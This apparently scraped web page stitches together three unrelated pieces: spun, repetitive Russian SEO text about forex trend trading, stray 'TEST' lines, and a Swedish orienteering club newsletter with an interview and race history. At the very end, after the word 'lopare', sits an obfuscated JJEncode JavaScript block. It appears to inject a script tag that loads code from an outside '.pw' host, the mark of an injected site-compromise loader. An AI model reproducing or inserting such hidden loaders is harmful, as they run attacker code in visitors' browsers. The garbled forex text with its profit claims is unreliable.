Forex Trend Mmgp для чайников

Forex Trend Mmgp для чайников

В поисках лучшего тренда форекс Mmgp

Каждая свеча содержит всю информацию о ценах, которую вы должны знать, исходя из ваших временных рамок. У трейдеров есть выбор изменения часового пояса, который будет отображаться путем нажатия на вкладку времени, расположенную непосредственно над столбцом времени. Получить помощь в поиске идеальных временных рамок, а также советы по программному обеспечению для торговли валютными днями.

Форекс в последние годы причинил большие убытки многим неопытным и недисциплинированным трейдерам. Торговля на рынке Форекс – очень большая индустрия. Почти все трейдеры форекс наивно воображают, что будут зарабатывать деньги с каждой транзакции.

Изучение того, как читать наиболее важные графики форекс, может дать вам огромное преимущество при торговле, особенно когда вы начинающий трейдер форекс. Форекс Фабрика – это название любимого онлайн-форума форекс. Онлайн-форум Forex Factory также предоставляет трейдерам различные инструменты, предназначенные для получения ими прибыли от отрасли. Лаборатория трейдеров – это форум форекс, на котором вы можете встретить трейдеров со всего мира, обсуждающих все темы, связанные с финансовыми рынками. Графики имеют решающее значение в торговле Forex. Вы можете найти некоторые из лучших графиков форекс для использования в нашем подробном руководстве.

Вопрос номер один, который вы должны задать для тренда Форекс Mmgp

Например, если насилие вспыхнет в одной стране, оно может оказывают значительное негативное влияние на стоимость валюты в соседних странах. Это случаи, когда ваши эмоции или окружение могут негативно повлиять на направление вашей торговли и могут серьезно снизить шансы на успешную торговлю.

Таким образом, мгновенный разворот вряд ли будет иметь значение. Более того, гипотетическая торговля не связана с финансовым риском. С нашим торговым симулятором у них есть возможность оказаться в захватывающей атмосфере, в которой они не знают, как будет двигаться рынок (как в случае с реальным счетом). Каждый трейдер сталкивается с этой проблемой. Такая простая концепция, которую не используют многие трейдеры!

Высшая стратегия форекс тренда Mmgp

Есть много других людей, которые будут зависеть от колебаний и результирующего ценового действия. Иногда рынок выходит из диапазона, двигаясь ниже уровня поддержки или сопротивления, чтобы начать тренд. Например, 20-дневный прорыв вверх – это когда цена поднимается выше самого высокого максимума за последние 20 дней. Проще говоря, покупки начинаются.

Очень широко используемый трейдерами, он помогает снизить уровень шума на графиках и позволяет интерпретировать цены в реальном времени. При условии, что цены остаются выше линии тренда, восходящий тренд считается устойчивым и неповрежденным. Кроме того, индикаторы полностью основаны на волатильности, или цвета трендов становятся еще более надежными и надежными и, следовательно, заслуживающими доверия. Новости с высоким эффектом – это то, что трейдерам нравится торговать, поскольку они создают большую волатильность рынка.

Валютный рынок открыт 24 часа в сутки в течение недели, потому что где-то на планете всегда открыт значительный рынок. Если не установлено, будет сложно определить правильное время для каждого новостного события. Платформа Live гораздо более настраиваема, и вы можете настроить ее так, как вам удобно. Теперь вам нужно, чтобы календарь Forex Factory был обращен к вам, чтобы каждое новостное событие было синхронизировано с вашим временем в сообществе.

Возможности Forex Trend Mmgp

Проблема с большинством этих сайтов заключается в том, что, как указывалось ранее, они просто предлагают краткое описание каждой стратегии с небольшим реальным доказательством того, что они работают. Чтобы помочь вам узнать больше о торговле на рынке Форекс, у вас также будет доступ к совершенно бесплатной образовательной программе и инструментам. Зарегистрируйтесь для получения бесплатных руководств по расширенной торговле, которые помогут вам быстро освоить ассортимент торговых тем. Сайты DailyFX Английский Прошлые показатели не являются показателем будущих результатов. Перейдите по ссылке ниже и введите свой адрес электронной почты, чтобы найти немедленный доступ к руководству в формате PDF.

Что означает Forex Trend Mmgp?

Дополнительные меры могут быть введены в отношении валютных пар EUR до конца недели. Индикатор силы пипса FFF является единственным индикатором форекс, который точно диагностирует силу каждой валюты, поскольку он использует основанный на производительности подход, основанный на количестве пипсов в сети, которые каждая отдельная валюта получила или потеряла за предшествующее количество баров N или с начала пользовательского сеанса. Например, если ваша валютная пара находится в восходящем тренде, вы можете купить валютную пару.

Надежная стратегия Forex Trend Mmgp

Биржевые цены в режиме реального времени, очень точные. Гистограммы особенно полезны для выявления разрывов обменного курса, когда охват самого первого периода времени не перекрывает охват следующего периода. Ниже вы можете увидеть самые важные финансовые показатели с первого взгляда.

Forex Trend Mmgp для чайников

Понимание того, сколько пипсов каждая отдельная валюта набрала или потеряла в течение торговой сессии, является лучшим и беспристрастным способом определения силы каждой валюты. Методом проб и ошибок вы должны быть в состоянии выучить стратегии торговли на Форекс, наиболее подходящие для вашего собственного стиля. Однако никто не может гарантировать, что вы научитесь торговать с нашим торговым симулятором.

Карта рынка Forex обеспечивает быстрый визуальный обзор валютных рынков и того, как они работают в течение дня, в дополнение к тому, как они работают по сравнению с другими крупными валютами. «Час заработка» – действительно отличный сайт. Торговля новостями потенциально является наиболее прибыльным и предсказуемым способом получения денег с рынка. Откройте для себя множество способов, которыми вы можете использовать секретное оружие новостей, чтобы сделать большую часть вашей торговли. Секретное оружие новостей – единственное решение.

В поисках лучшего тренда форекс Mmgp

Одним из ограничений гипотетических результатов деятельности является то, что они обычно подготовлены с преимуществом задним числом. Кроме того, для создания автоматизированной системы часто не требуется минимального остатка на счете. В бизнесе часто присутствует фактор риска, особенно при использовании кредитного плеча. Процесс торговли на тележках очень прост в использовании и, кроме того, достаточно всеобъемлющий в результатах.

5-минутное правило для Forex Trend Mmgp

Форекс – это то, что будет продолжать расти в будущем, потому что валюта, несомненно, является самой важной вещью, которая может быть в любой стране мира, чтобы сохранить свою экономику. Для удобства тех, кто готовит заговор, и всех тех, кто использует эту информацию, день форекс обычно начинается с 17:00 по восточному поясному времени одного дня до того же времени в следующий момент. Самое смешное, что это произошло за год. Ключевой вопрос заключается в том, чтобы ваш аккаунт выжил в следующий момент.

Сначала это может показаться слишком упрощенным, но оставайтесь со мной на данный момент, и вы вскоре ознакомитесь с возможностями этой стратегии анализа. Вы можете немного почитать, чтобы освоить эту теорию и ее возможные последствия. Соотношение валют позволяет гораздо лучше оценить вероятность сочетания позиций.

Это не так просто, но если вы решительны и дисциплинированы, вы можете сделать это. Сроки могут иметь решающее значение для прибыльности, когда вы трейдер, потому что даже меньшие колебания стоимости отдельных акций или CFD могут быть весьма значительными, если у вас их много или вы управляете ими. Вы должны знать количество цен на валюту, потому что часто, вместо того, чтобы приносить прибыль, это может привести к фантастической потере, и, прежде всего, иметь капитал, чтобы иметь возможность ответить в случае убытков.

|

Почему почти все, что вы узнали о Forex Trend Mmgp, неверно

Слева находится вкладка навигации, показывающая текущий месяц, вместе с различными ссылками, которые могут использоваться для отображения календаря форекс на следующий день, следующую неделю, месяц и даже предыдущий день, неделю или месяц. Как следствие, краткосрочная строка с плохими результатами не уничтожит весь ваш капитал. Ниже вы можете увидеть самые важные финансовые показатели с первого взгляда.

Forex Trend Mmgp – Заговор

Понимание того, сколько пипсов каждая отдельная валюта набрала или потеряла в течение торговой сессии, является лучшим и беспристрастным способом определения силы каждой валюты. Если он увидит возможность заработать дополнительные пипсы от хеджирования, он начнет действовать. Чтобы получить максимальную выгоду от любой 1-минутной торговой системы, вы должны либо получить торговый счет, позволяющий получить прямой доступ к сектору, либо брокера с платформой быстрого исполнения и сверхжесткими спредами.

Кроме того, Форекс Фабрика может похвастаться надежным форумом, охватывающим все аспекты торговли. Торговля новостями потенциально является наиболее прибыльным и предсказуемым способом получения денег с рынка. Откройте для себя множество способов, которыми вы можете использовать секретное оружие новостей, чтобы сделать большую часть вашей торговли. Секретное оружие новостей – единственное решение.

Основы Forex Trend Mmgp раскрыты

|}

Абсолютно бесплатная услуга ксерокса, предоставляемая Деннисом, дает вам свободу (зависит от вашего первого баланса). Потрясающие скачки вперед, сделанные с помощью технологий онлайн-трейдинга, сделали его гораздо более доступным для людей для создания своих собственных индикаторов и систем. Процесс торговли на тележках очень прост в использовании и, кроме того, достаточно всеобъемлющий в результатах.

Ключ к успешному тренду форекс Mmgp

Торговля должна быть проведена до тех пор, пока ценовое действие Ренко может быть найдено ниже верхнего желтого медвежьего канала. Сроки могут иметь решающее значение для прибыльности, когда вы трейдер, потому что даже меньшие колебания стоимости отдельных акций или CFD могут быть весьма значительными, если у вас их много или вы управляете ими. После того, как вы определили, находится ли цена в режиме покупки или продажи, вы будете пытаться войти в сделку.

Мошенничество на Форексе является растущей проблемой. Это случаи, когда ваши эмоции или окружение могут негативно повлиять на направление вашей торговли и могут серьезно снизить шансы на успешную торговлю.

По правде говоря, важно, чтобы вы проверяли правила и положения, в которых вы торгуете. Обилие торговых стратегий, которые можно найти во всемирной паутине, создает ложное убеждение, что у вас есть все, что вам нужно. Валютная арена может меняться очень быстро.

Шепот Форекс Trend Mmgp Секреты

С практикой вы получаете ощущение правильного места для размещения стоп-лосса, чтобы ваша торговая свобода двигалась. Вы не можете установить это программное обеспечение и ожидать большую прибыль в тот же момент. Вы полностью тратите свое время, пытаясь торговать на этом временном интервале с широким спредом.

В поисках лучшего тренда форекс Mmgp

Проблема с большинством этих сайтов заключается в том, что, как указывалось ранее, они просто предлагают краткое описание каждой стратегии с небольшим реальным доказательством того, что они работают. Чтобы помочь вам узнать больше о торговле на рынке Форекс, у вас также будет доступ к совершенно бесплатной образовательной программе и инструментам. Зарегистрируйтесь для получения бесплатных руководств по расширенной торговле, которые помогут вам быстро освоить ассортимент торговых тем. Сайты DailyFX Английский Прошлые показатели не являются показателем будущих результатов. Он здесь ваш бесплатно, так что пользуйтесь им. В Интернете также есть несколько сайтов, предлагающих бесплатные стратегии.

Единственный способ определить истинную тенденцию для валюты – это изучить дневной график. Паттерны свечных графиков охватывают широкое поперечное сечение нескольких различных типов графиков. Диаграмма Ренко – это своего рода диаграмма.

Сегодня мир чрезвычайно взаимосвязан, и для передачи финансовых новостей по всему миру требуется доля секунды. Это поможет вам не только соответствовать широкому кругу основных финансовых событий, которые постоянно движут отраслью, но и принимать лучшие инвестиционные решения. Периодически выпускаются важные финансовые объявления, которые имеют огромные возможности для продвижения рынка в совершенно новом направлении.

Он предлагает вам финансовую информацию в режиме реального времени в течение нескольких миллисекунд, что значительно улучшает результаты торговли спайками. Так как эти показатели не являются штатными показателями. Не существует идеального индикатора тренда или системы детектора тренда Forex, которая работает все время.

Высшая стратегия форекс тренда Mmgp

Существует простой способ определить, будет ли цена продолжать движение в направлении прорыва, и вы должны знать это, чтобы иметь возможность получить прибыль в подобных ситуациях. Валютный рынок жив 24 часа в сутки, так как почти всегда где-то открыт международный рынок из-за различий в часовых поясах. Прорыв происходит всякий раз, когда цена выходит за пределы максимума или минимума в течение определенного числа дней.

Что бы они ни рассказывали вам о Forex Trend, Mmgp совершенно не прав … И вот почему

Самое первое, что нужно понять об идентификации тренда, это то, что это не идеальная наука. Realforexresults проводит исследования так, что вам это не нужно. Ежедневные графики дают трейдеру беспристрастное представление о тенденции, которая может происходить, и сравнительное изучение графиков в течение пары дней ясно указывает на предвзятость в отрасли. Если вы долгосрочный трейдер, вы должны сосредоточиться на долгосрочных трендах.

Валютный рынок – это, пожалуй, самый ликвидный и активный рынок на земле. Торговля на рынке Форекс – очень большая индустрия. У умного трейдера форекс будет разумная стратегия.

Веб-сайты Форекс Есть много определенных торговых сайтов Форекс день. Будь вы новичок или опытный трейдер, мы будем рады представить набор торговых идей, которые помогут вам лучше понять форекс с его трудностями и опасностями. Кроме того, дни торговли новостями форекс также могут привести к периодам значительной волатильности.

Каждая свеча содержит всю информацию о ценах, которую вы должны знать, исходя из ваших временных рамок. У трейдеров есть выбор изменения часового пояса, который будет отображаться путем нажатия на вкладку времени, расположенную непосредственно над столбцом времени. Получить помощь в поиске идеальных временных рамок, а также советы по программному обеспечению для торговли валютными днями.

|

Хорошо, я думаю, что понимаю тренд Forex Mmgp, а теперь расскажи мне о Forex Trend Mmgp!

|}

Одним из ограничений гипотетических результатов деятельности является то, что они обычно подготовлены с преимуществом задним числом. Кроме того, для создания автоматизированной системы часто не требуется минимального остатка на счете. Потрясающие скачки вперед, сделанные с помощью технологий онлайн-трейдинга, сделали его гораздо более доступным для людей для создания своих собственных индикаторов и систем. Процесс торговли на тележках очень прост в использовании и, кроме того, достаточно всеобъемлющий в результатах.

Важно понимать, что это не означает, что евро и франк движутся в одном и том же направлении в 25% случаев. Форекс информация является секретом зарабатывания денег на бирже торговля газом. Торговля валютой является лишь одним из самых сложных способов заработать деньги. За последние несколько лет автоматизированная торговля стала одним из самых значительных выигрышей на земле.

Кроме того, Форекс Фабрика может похвастаться надежным форумом, охватывающим все аспекты торговли. Время – это товар, который не подлежит возврату. Откройте для себя множество способов, которыми вы можете использовать секретное оружие новостей, чтобы сделать большую часть вашей торговли. Секретное оружие новостей – единственное решение.

Проблема с большинством этих сайтов заключается в том, что, как указывалось ранее, они просто предлагают краткое описание каждой стратегии с небольшим реальным доказательством того, что они работают. Чтобы помочь вам узнать больше о торговле на рынке Форекс, у вас также будет доступ к совершенно бесплатной образовательной программе и инструментам. Зарегистрируйтесь для получения бесплатных руководств по расширенной торговле, которые помогут вам быстро освоить ассортимент торговых тем. Сайты DailyFX Английский Прошлые показатели не являются показателем будущих результатов. Очень хорошее использование демо-программ форекс поможет в создании инстинктов трейдера, и, естественно, фантастический брокер будет предупреждать своих клиентов о важных событиях, которые могут иметь отношение к сделкам.

Ключ к успешному тренду форекс Mmgp

Каждая свеча содержит всю информацию о ценах, которую вы должны знать, исходя из ваших временных рамок. У трейдеров есть выбор изменения часового пояса, который будет отображаться путем нажатия на вкладку времени, расположенную непосредственно над столбцом времени. Получить помощь в поиске идеальных временных рамок, а также советы по программному обеспечению для торговли валютными днями.

Жизнь, смерть и форекс тренд Mmgp

Рынки могут двигаться в результате незапланированного события или, возможно, события, которое уже прошло, и рынок только сейчас осознает этот эффект. Это поможет вам не только соответствовать широкому кругу основных финансовых событий, которые постоянно движут отраслью, но и принимать лучшие инвестиционные решения. Индикатор покажет приближающиеся новости. Платформа Oanda не сложна в использовании.

Понимание Forex Trend Mmgp

Это сложный вопрос, поскольку он зависит от нескольких вещей. Проблема в том, что тренды формируются не так часто. Вы можете немного почитать, чтобы освоить эту теорию и ее возможные последствия. Соотношение валют позволяет гораздо лучше оценить вероятность сочетания позиций.

Форекс тренд Mmgp объяснил

Есть много других людей, которые будут зависеть от колебаний и результирующего ценового действия. Иногда рынок выходит из диапазона, двигаясь ниже уровня поддержки или сопротивления, чтобы начать тренд. Например, 20-дневный прорыв вверх – это когда цена поднимается выше самого высокого максимума за последние 20 дней. Проще говоря, покупки начинаются.

Убедитесь, что вы знаете доминирующую тенденцию, если только вы не скальпер. Торговля на рынке Форекс – очень большая индустрия. Для новостных трейдеров на Форексе необходимо использовать календарь форекс на Форекс-фабрике, чтобы знать характеристики, которые предлагаются для максимального использования.

Изучение того, как читать наиболее важные графики форекс, может дать вам огромное преимущество при торговле, особенно когда вы начинающий трейдер форекс. Форекс Фабрика – это название любимого онлайн-форума форекс. Онлайн-форум Forex Factory также предоставляет трейдерам различные инструменты, предназначенные для получения ими прибыли от отрасли. Лаборатория трейдеров – это форум форекс, на котором вы можете встретить трейдеров со всего мира, обсуждающих все темы, связанные с финансовыми рынками. Графики имеют решающее значение в торговле Forex. Это позволяет трейдерам точно знать, какие валютные пересечения, безусловно, являются наиболее идеальными для торговли, а какие следует избегать.

Биржевые цены в режиме реального времени, очень точные. Есть удобный кликабельный календарь. Инвесторы имеют различные предпочтения, и существует множество видов графиков для их размещения.

Аргумент о Forex Trend Mmgp

Потрясающей отправной точкой мог бы стать ряд простых, хорошо зарекомендовавших себя стратегий, которые уже были эффективны для трейдеров. Хороший способ начать – наша обширная статья о различных формах мошенничества и о том, что нужно учитывать, чтобы остановить форекс и мошенничество с товарами. Большинство людей могут изо всех сил пытаться получить прибыль и в конечном итоге уйти.

Таким образом, мгновенный разворот вряд ли будет иметь значение. Более того, гипотетическая торговля не связана с финансовым риском. И наоборот, стратегия, которая была обесценена другими людьми, может оказаться подходящей для вас. Обычно трейдеры обнаруживают, что сократить потери чрезвычайно сложно. Каждый трейдер сталкивается с этой проблемой. Такая простая концепция, которую не используют многие трейдеры!

Хорошо, я думаю, что понимаю тренд Forex Mmgp, а теперь расскажи мне о Forex Trend Mmgp!

Единственный способ определить истинную тенденцию для валюты – это изучить дневной график. Паттерны свечных графиков охватывают широкое поперечное сечение нескольких различных типов графиков. Диаграмма Ренко – это своего рода диаграмма.

Тенденция к росту форекс Mmgp

Существует много поставщиков сигналов для торговли на рынке Форекс, и именно поэтому вам никогда не следует соглашаться на то, что вы найдете самого лучшего поставщика услуг на рынке сигналов! Значительная часть ежедневной активности на рынке Форекс поступает от компаний, стремящихся обменивать валюту как способ совершения сделок в других странах. Валютный рынок сегодня является одним из самых популярных, поскольку он имеет много преимуществ.

Преимущества Forex Trend Mmgp

Очень широко используемый трейдерами, он помогает снизить уровень шума на графиках и позволяет интерпретировать цены в реальном времени. При условии, что цены остаются выше линии тренда, восходящий тренд считается устойчивым и неповрежденным. Кроме того, индикаторы полностью основаны на волатильности, или цвета трендов становятся еще более надежными и надежными и, следовательно, заслуживающими доверия. Если вы спросите разных трейдеров, вы услышите различные версии того, каков тренд на рынке.

Характеристики тренда Форекс Mmgp

Форекс – это то, что будет продолжать расти в будущем, потому что валюта, несомненно, является самой важной вещью, которая может быть в любой стране мира, чтобы сохранить свою экономику. Вы не можете установить это программное обеспечение и ожидать большую прибыль в тот же момент. Вы полностью тратите свое время, пытаясь торговать на этом временном интервале с широким спредом.

}

TEST

TEST

text

TEST

TEST

text

Orientera året runt

Under den mörka perioden tänder vi pannlamporna. När snön uteblir till jul fortsätter vi i skogen. Vi trotsar dålig vinter och njuter istället av att kunna träna i goda förhållanden. Kallt, visst, men inte värre än att lite neoprensockar och ett par skidhandskar och träningsmössa kan göra resan över stock och sten, mosse och bergknalle njutbar.

Vi i Järla fortsätter våra aktiviteter fram till jul, gör ett kortare uppehåll över helgerna, och kör sedan vidare i januari. Blir det snö drar vi på oss längdskidorna, absolut. Men blir det ingen snö kör vi löpning och teknikträning!

Emma sjunger på Junior-VM

I sommar avgörs Junior-VM i Scoul i Schweiz. Där kommer Järla representeras av Emma Sundvall som fått äran att sjunga den officiella JVM-låten då rykten om hennes sångkunskaper har nått hela vägen till Schweiz. Låten ”Our Road” har hon gjort tillsammans med sin bror Johan.

 

Olles bästa tips: Orientera här och nu!

Vi bjöd in föreningens främste elitherre Olle Boström för att få tips och coachning inför säsongen. Första frågan handlade om hur eliten ens vågar springa så fort som de gör.

Breddgruppen (BG): Går inte fötterna sönder?

Olle: Ja, fötterna är faktiskt ett problem för många elitorienterare. Men man vänjer sig – kroppen vänjer sig, motoriken förbättras efter hand och man får ett väldigt flyt i löpningen. Vi kan ju jämföra med MTB-åkarna som far fram på smala stigar i skogen. Det ser helt overkligt ut för den ovane, men de har övat ganska mycket!

BG: Hur orientar du? Följer du alltid en plan?

Olle: Jag sätter alltid en plan. Det är jätteviktigt. Från kontrollen planerar jag mina vägval och noterar vilka hållpunkter som jag ska ha koll på under vägen. Allt handlar sedan om att fokusera på att genomföra planen. Plan – hållpunkter – genomförande, det är kärnan i orientering.

BG: Tvingas du ibland lägga om planen? Byta vägval?

Olle: Det är klart att man måste vara flexibel om terrängen är svårare än jag uppskattat och jag ser att det går snabbare att springa på ett annat sätt. Men jag tvekar aldrig egentligen – det tar bara tid och du tappar fokus.

BG: Lägger du upp planen utifrån hur du ska ta kontrollen eller bestämmer du vägvalet utifrån var du befinner dig?

Olle: Jag har provat lite olika. Nu försöker jag lägga planen utfrån där jag befinner mig och göra vägval som är snabbast mot kontrollen. I svensk terräng i medeldistans så är det oftast rätt att gå så rakt som möjligt och jag är trygg i att ta kontrollpunkten rakt på. Men vad som är rätt här skiljer sig säkert från orienterare till orienterare.

BG: Hur långt i förväg lägger du upp planen? Har du koll på långa vägval tidigt?

Olle: Jag försöker orientera här och nu. Att ligga långt fram tar bort fokus från här och nu och man tappar tempo. Undantaget är om det blir väldigt lättorienterade partier. Då kan jag passa på att läsa in mig för kommande sträckor.

BG: När det går fel då. Hur undviker man att tappa bort sig?

Olle: Oerfarna orienterare har ofta problem att korrekt översätta kartan till verkligheten och tvärtom. Här krävs det mycket vana. Efter hand lär man sig uppskatta höjder och annan terräng bra vilket gör att man gör mycket färre misstag, man har lättare att följa sin plan och noterar ofta snabbt om något inte stämmer.

För elitorienterare tror jag mer det handlar om att behålla fokus. Man kan tappa fokus på grund av dålig uppladdning, trötthet eller stress av att andra löpare i skogen eller tävlingssituationen. Men när du är ute på banan är det bara du och banan. Andra orienterare är helt ointressant och det gäller att tänka bort allt som kan störa din plan.

BG: Vad gör du när du tappar bort dig. Eller gör du någonsin det?

Olle: Jo, det kan ju hända oss också. Man måste behålla lugnet. Det slås man av när det gäller de bästa orienterarna. Allt går väldigt lugnt till, aldrig någon stress.

Kommer du bort dig så tänk logiskt. Var har jag min senaste säkra punkt? Hur långt och i vilken riktning har jag sprungit från den punkten? Då finns ett ganska litet område som jag kan befinna mig i. Vilka punkter kan jag läsa in mig på?

BG: Hur bär man sig åt när det är långa sträcker in mot kontrollen med väldigt diffus terräng?

Olle: Det är klart att när jag får en sträcka som är utmanande så försöker jag vara extra noggrann. Ett exempel var en tävling där kontrollen låg 300 meter nedför en slänt med tätbevuxen skog och inga detaljer att läsa in sig på. Då vill jag veta exakt var jag går ned i slänten och sedan håller jag kontroll på kursen och räknar höjdkurvorna jag tar mig nedför. Sedan får man vara beredd på att kontrollen kan sitta 30-50 meter vänster eller höger om färdriktningen.

BG: Tar du ut kompasskursen?

Olle: Jag springer med tumkompass och jag använder den för att hålla kartan i norr hela tiden. Men jag tar egentligen aldrig ut kursen i klassik bemärkelse, jag litar på min egen känsla för kursen om jag har kartan rätt riktad.

BG: Drar du ned på tempot när du lägger upp planen för nästa kontroll?

Olle: Jag behöver i allmänhet inte göra det. Men för en nybörjare är det nog klokt att unna sig extra tid för att göra vägvalet. Generellt ska man vara generös med tid när det behövs så att man kan springa snabbt och tryggt sedan! Ibland ser jag orienterare som hoppar över vätskan på en långdistans. Det är bara dumt. Att stanna fem-tio sekunder där har man ju igen alla gånger.

BG: Har du något sista tips?

Olle: Jo, ett träningstips är faktiskt att tala högt för sig själv i skogen. Det kan hjälpa dig att fokusera på orienteringen. Berätta för dig själv vad din plan är och bocka sedan av hållpunkterna!

Vi tackar för tipsen och laddar här och nu för en fokuserad säsong!

Skuruloppet föregångaren till Sicklaloppet

Redan för 100 år sedan arrangerade Järla IF en löpartävling i Nacka som hette Skuruloppet – föregångaren till dagens Sicklaloppet. Skuruloppet var dock inte 10 km utan 11 km och banan med start och mål i Järla gick till Skurubron och tillbaka.

I premiärupplagan 1915 startade 14 löpare och segrade gjorde Vitalis Karlsson, Tranebergs IF med tiden 37.41 min. Järlas bästa löpare var Gustaf Grüner som var sexa. Segraren Vitalis Karlsson vann även samma år första upplagan av Hässelbyloppet som då var 14 km. 1922 hade Skuruloppet växt och 38 löpare deltog och 1924 sattes nytt banrekord av E. Lundström, IF Allround med tiden 36.01.

Räknat på kilometertid hade 1924 års segrare E. Lundström alltså haft en sluttid av 32.40 på 10 km vilket hade placerat honom på fjärde plats i Sicklaloppet 2015!

Skuruloppet lades ner med tiden och det dröjde ända till 2011 innan Sicklaloppet hade sin premiärupplaga. Skuruloppet arrangerades liksom Sicklaloppet av Järla IF.

/tt

lopare $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”=”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(’\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”’);”+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”’\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.”+$.$$__+(![]+””)[$._$_]+$._$+$.$$_$+”.\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.$$$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+